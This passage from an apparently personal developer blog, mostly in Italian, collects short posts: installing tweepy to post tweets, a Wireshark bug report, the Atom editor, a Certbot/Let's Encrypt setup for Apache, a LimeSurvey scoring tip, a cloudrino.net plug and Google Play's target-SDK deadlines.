  Downloading tweepy-3.5.0-py2.py3-none-any.whl
Collecting requests-oauthlib>=0.4.1 (from tweepy)
  Downloading requests_oauthlib-0.7.0-py2.py3-none-any.whl
Collecting six>=1.7.3 (from tweepy)
  Downloading six-1.10.0-py2.py3-none-any.whl
Requirement already satisfied (use --upgrade to upgrade): requests>=2.4.3 in /Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages (from tweepy)
Collecting oauthlib>=0.6.2 (from requests-oauthlib>=0.4.1->tweepy)
  Downloading oauthlib-2.0.1.tar.gz (122kB)
    100% |████████████████████████████████| 133kB 2.0MB/s 
Installing collected packages: oauthlib, requests-oauthlib, six, tweepy
  Running setup.py install for oauthlib ... done
Successfully installed oauthlib-2.0.1 requests-oauthlib-0.7.0 six-1.10.0 tweepy-3.5.0

Con il package tweepy scriviamo il nostro script

screen-shot-2016-12-04-at-13-19-55

E testiamolo! 😉

Fabios-MacBook-Air:py shadowsheep$ python3 twitter-test.py

e… ecco il nostro primo tweet automatico! Yay!

screen-shot-2016-12-04-at-13-25-46

 

 

Twitter App con Python 3

WireShark

wireshark_logo

Oggi finalmente il baco di wireshark versione 2.x.x che avevo segnalato e che riguardava la mancanza dell’opzione sul “context menu” del “Resolve Name” è stato confermato ed è ancora presente nell’attuale versione 2.2.1.

Dai ragazzi, rimettetemi la funzione che la trovavo molto utile! 😉

Ecco il link della mia segnalazione.

 

WireShark

Il mio nuovo editor preferito per il Web

atom.io
Atom.io

Ho da poco scoperto Atom www.atom.io e me ne sono innamorato. Direi che per me soppianta totalmente sublime. E’ disponibile per Mac e per Windows (solo Visual Studio code è disponibile anche per Linux).

Vi consiglio di darci un’occhiata installando come estensioni:

  1. Atom Beautify
  2. Sublime
  3. Autocomplete-paths
  4. Emmet
  5. Linter e tutti i linter per il vostro linguaggio
    1. -eslint
    2. -htmllint
    3. -csslint
    4. -python
    5. -pylama
    6. etc.

Buon coding!!!

Ecco uno screenshot:

screen-shot-2016-10-04-at-23-32-09

 

Il mio nuovo editor preferito per il Web

Integrare Let’s Encrypt con Apache utilizzando Certbot

letsencrypt

E’ sempre buona norma fare un update dei pacchetti (io faccio di solito anche l’upgrade – provato prima in staging)

sudo apt-get update

Se non abbiamo git installato git lo installiamo

sudo apt-get install git

Facciamo il clone di certbot dal repository

git clone https://github.com/certbot/certbot /opt/certbot
cd certbot
./certbot-auto --help

certbot-auto accetta tutti gli stessi parametri di certbot; installa tutte le sue dipendenze e si prende cura di aggiornarsi automaticament.

Per utilizzarlo con il plugin nativo di Apache si utilizza

./certbot-auto --apache

Per richiedere un certificato possiamo lanciare il seguente comando che installa un certificato di root per il dominio www.miodominio.it e miodominio.it

./certbot-auto --apache -d miodominio.it -d www.miodominio.it

A qusto punto partira un wizard in cui la cosa importante è scegliere se gestire sia le richieste http e https o redirigere tutte le richiesete in https.

Se tutto termina correttamente vederete una cosa simile a questa:

certbot

Quando il tutorial sarà finito si potranno trovare i certificati generati in

/etc/certbot/live/

oppure se avevate utilizzato il plugin beta letsencrypt e avete aggiornato il precedente certificato lo trovate qui

/etc/letsencrypt/live/

Potete verificare lo stato del certificato qui:

https://www.ssllabs.com/ssltest/analyze.html?d=miosito.it&latest

Adesso provate ad accedere al vostro sito in https!

Certbot ha anche molte funzionalità di autorinnovo e via dicendo.

Potete simularla con il seguente comando.

./certbot-auto renew --dry-run

Ogni volta che vogliamo aggiornare il plugin (se vengono rilasciati degli aggiornamenti) possiamo lanciare il comando

cd /opt/certbot
sudo git pull

Per tutto il resto vi rimando alla documentazione ufficiale!

https://letsencrypt.org/getting-started/

Integrare Let’s Encrypt con Apache utilizzando Certbot

Limesurvey – tutti i questionari che vuoi, quando voi!

Ci è capitata l’occasione di dover fornire ad un cliente un servizio di survey che potesse gestire in completa autonomia e che fosse ricco di opzioni.

Per questo ci siamo imbattuti in limesurvey e siamo rimasti piacevolmente sorpresi.

Oltre ad essere gratuito anche per scopi commerciali, c’è una intera community che lo utilizza e attiva correntemente pronta a risponderti sul loro forum.

Anche noi abbiamo dato il nostro contributo per quanto riguarda una opzioni molto utile e che è difficilmente reperibile dalla documentazione: avere il punteggio di un questionario fatto per essre un test a risposta singola esatta! Leggete qui!

E mettiamo anche qui in calce:

Per salvare la valutazione di un questionario a DB.

- Creare un gruppo di valutazione
- Aggiungere una domanda di tipo "equazione"
- Renderla "sempre nascosta"
- Impostare l'equazione a {ASSESSMENT_CURRENT_TOTAL}*

Volete inoltre sapere perchè limesurvey è un ottimo framework per questionari? Ecco qui una lista presa dal loro sito:

  • Gratis: lo si può installare dove vuoi e quante volte vuoi – senza costi.
  • Open Source: Puoi vederne il codice sorgente, modificarlo oppure creare un tuo plugin.
  • Sicuro: i dati sensibili rimangono lato server.
  • Senza limiti!: si possono raccogliere risposte senza limiti, creare un numero illimitato di indagini.
  • Internazionale: Disponibile in 80 (! Sì, ottanta!) lingue.
  • Senza costrizioni: Export & Import in numerosi formati per le indagini, le risposte e il set di etichette.

Se poi volete appoggiarvi a dei consulenti… beh, noi siamo qua e lo utilizziamo correntemente e ne siamo molto contenti!

 

Limesurvey – tutti i questionari che vuoi, quando voi!

cloudrino.net a dream come true!

Do you know cloudrino.net? No?! O_O!!! How dare! 🙂

How many Raspberry Pis do you have at home? Actually I’ve got two Raspbeery Pis running raspbian (no UI), with many many managment scripts running on them! But not only management scripts; also sendmail, DLNA servers and much more…

Now, think to have such a system always available: everytime, everywhere! And now open your eyes and go to cloudrino.net!

They are offering free alpha plans (free for life!) for those that reach the top of  the queue!

And guess what! Today I’m staring at my brand new little cluod server!!! Wow!

cloudrindo-server

So It’s true… your dreams can come true!

Gr8 work guys! I see so much possibilities with my new little cloud server!

cloudrino.net a dream come true!

Improving app security and performance on Google Play for years to come

In this post of the Android official blog you can read that during the year 2018 and for the long term all apps publish on Google Play Store must be targeting the latest SDK.

  • In the second half of 2018, Play will require that new apps and app updates target a recent Android API level. This will be required for new apps in August 2018, and for updates to existing apps in November 2018. This is to ensure apps are built on the latest APIs optimized for security and performance.
  • In August 2019, Play will require that new apps and app updates with native libraries provide 64-bit versions in addition to their 32-bit versions.
  • Additionally, in early 2018, Play will start adding a small amount of security metadata on top of each APK to further verify app authenticity. You do not need to take any action for this change.

Leaving you to read all the article by your own, I block quote here below an explanation of the above point one:

In order to provide users with the best Android experience possible, the Google Play Console will require that apps target a recent API level:

 

  • August 2018: New apps required to target API level 26 (Android 8.0) or higher.
  • November 2018: Updates to existing apps required to target API level 26 or higher.
  • 2019 onwards: Each year the targetSdkVersion requirement will advance. Within one year following each Android dessert release, new apps and app updates will need to target the corresponding API level or higher.

Don’t wait too long! Be prepared.

Improving app security and performance on Google Play for years to come